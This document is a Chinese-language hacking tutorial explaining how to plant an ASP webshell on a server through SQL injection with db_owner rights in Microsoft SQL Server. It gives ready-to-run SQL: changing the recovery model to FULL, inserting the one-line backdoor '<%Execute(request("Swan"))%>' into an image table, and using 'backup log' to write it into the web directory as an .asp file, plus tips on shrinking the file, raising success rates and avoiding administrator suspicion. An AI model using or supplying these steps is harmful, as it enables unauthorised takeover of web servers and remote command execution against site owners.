如果單從調(diào)整增量備份的方式來(lái)看，盡管能夠達(dá)到一些效果，但是方法比較復(fù)雜而且效果不明顯。加上關(guān)于重用性的考慮，例如多次備份的成功率，backup database的方法并不太適用。這里將要講述的是另外一個(gè)備份的方法，導(dǎo)出日志文件到web目錄來(lái)獲得shell。
獲得webshell首先要知道物理路徑。關(guān)于物理路徑的暴露有很多方法，注入也可以得到，就不再多說(shuō)。值得注意的是，如果數(shù)據(jù)庫(kù)和web分離，這樣肯定得不到webshell，備份出來(lái)的東西可以覆蓋任何文件，一些關(guān)于開(kāi)始菜單的想法還是有效的，只要注意擴(kuò)展名就好。扯遠(yuǎn)了，反正如果數(shù)據(jù)庫(kù)和web在一塊的，你就有機(jī)會(huì)，反之還是想其他的辦法吧。
然后你要得到當(dāng)前的權(quán)限和數(shù)據(jù)庫(kù)名。如果是sysadmin當(dāng)然沒(méi)有必要做很復(fù)雜的事情，dbowner足矣，public則不行。當(dāng)前打開(kāi)的庫(kù)名用一個(gè)db_name()就可以得到，同樣很簡(jiǎn)單。
默認(rèn)的情況是，一般選擇的數(shù)據(jù)庫(kù)故障還原類型都是簡(jiǎn)單，這時(shí)候不能夠?qū)θ罩疚募M(jìn)行備份。然而我們都是dbowner了，還有什么不能做的呢，只要修改一下屬性就可以。由于不能去企業(yè)管理器中修改，只有用一段SQL語(yǔ)句，很簡(jiǎn)單的，這樣就可以：

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的數(shù)據(jù)庫(kù)的名字，執(zhí)行過(guò)后就可以備份日志了。這種修改是破壞性的，因?yàn)槟悴恢酪郧暗墓收线€原模式是什么，細(xì)心的管理員看到異樣，可能就要開(kāi)始起疑心。如果之前你能得到數(shù)據(jù)庫(kù)的狀態(tài)，最好還是在備份完以后把這個(gè)數(shù)據(jù)庫(kù)的屬性改回來(lái)。

剩下的事情就是怎樣讓數(shù)據(jù)庫(kù)用最原始的方式記錄下你的數(shù)據(jù)了。這一點(diǎn)和backup database中設(shè)定表名為image的問(wèn)題相對(duì)應(yīng)，如果你只是建立一個(gè)<%%>之類的表，日志里面的記錄還是以松散的格式記錄的，也就是 < % % >，沒(méi)有任何效果。通過(guò)實(shí)際的測(cè)試，發(fā)現(xiàn)還是可以通過(guò)與backup database類似的方式記錄進(jìn)去，如下：

create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

這樣你已經(jīng)得到一個(gè)webshell了。

到這里就完了么？沒(méi)有，呵呵，我們繼續(xù)。
到這里有兩個(gè)分支方向，第一個(gè)，讓注入的時(shí)候不出現(xiàn)單引號(hào)，太簡(jiǎn)單了，我都懶得寫；第二個(gè)，減小這個(gè)webshell的長(zhǎng)度以及提高成功率。下面的方法就是討論第二個(gè)分支問(wèn)題的，同樣適用于backup database的減小。
首先是初始化這個(gè)日志。

backup log XXXX to disk = 'c:caonima' with init

這樣有點(diǎn)類似于增量備份的第一步，不過(guò)有點(diǎn)不同的是，你做了這個(gè)以后，你備份出來(lái)的可用的shell是固定的。這一點(diǎn)比較重要，因?yàn)橛辛诉@一步，不管管理員在數(shù)據(jù)庫(kù)里面做了什么擾亂你back database的手腳，或者你之前有多少混蛋（你肯定會(huì)這么想的）弄了些你不喜歡的東西，都沒(méi)有關(guān)系，甚至你做過(guò)以后，別人在后面再按照你的方法來(lái)一次，還是會(huì)成功，這對(duì)于偶爾出現(xiàn)的反復(fù)，比如對(duì)方機(jī)器重裝但是數(shù)據(jù)庫(kù)和代碼沒(méi)變，有不小的幫助。
然后是調(diào)整一下backup中各個(gè)語(yǔ)句的順序。通過(guò)第一點(diǎn)，大概的步驟已經(jīng)確定下來(lái)了，那就是：

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

這樣不好，感覺(jué)上多了一條沒(méi)用的東西。

create table cmd (a image)

確實(shí)有點(diǎn)討厭，不過(guò)這句是必要的，只好調(diào)整一下位置，弄到其他地方去。調(diào)換一下順序似乎還可以小一點(diǎn)，對(duì)于backup database中的增量情況同樣是可以的，backup database甚至可以僅僅在update后馬上備份，不過(guò)由于涉及到了數(shù)據(jù)的存儲(chǔ)格式，情況很復(fù)雜，這里不討論。調(diào)整后的是：

alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:Sammy' with init
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

成功的話，備份出來(lái)的shell（上面的2.asp）有78.5k，文件長(zhǎng)度固定的是80,384字節(jié)。很挑剔的朋友也可以接受了吧，當(dāng)然用這個(gè)來(lái)生成一個(gè)干凈的木馬也可以——這本來(lái)就是頂端cs木馬的s端，很通用的。
進(jìn)一步的，雖然不能再次縮小這個(gè)木馬了，但是可以讓垃圾文件少一點(diǎn)，那就是加上response.end，這樣后面的垃圾數(shù)據(jù)就不再顯示。所有的垃圾數(shù)據(jù)，你可以統(tǒng)計(jì)一下，大約只有6~12k，也就是說(shuō)，<%Execute(request("Swan"))%>這個(gè)數(shù)據(jù)大約在2.asp文件偏移6xxx到12xxx附近，最好的情況似乎在6k左右，而且這個(gè)概率分布比較靠前，很少見(jiàn)到10k以上。這還是比較令人滿意的。

目前用backup log來(lái)測(cè)試的成功率是100%，就這樣分析似乎不應(yīng)該有失敗的情況。無(wú)論如何，這個(gè)比backup database好太多了。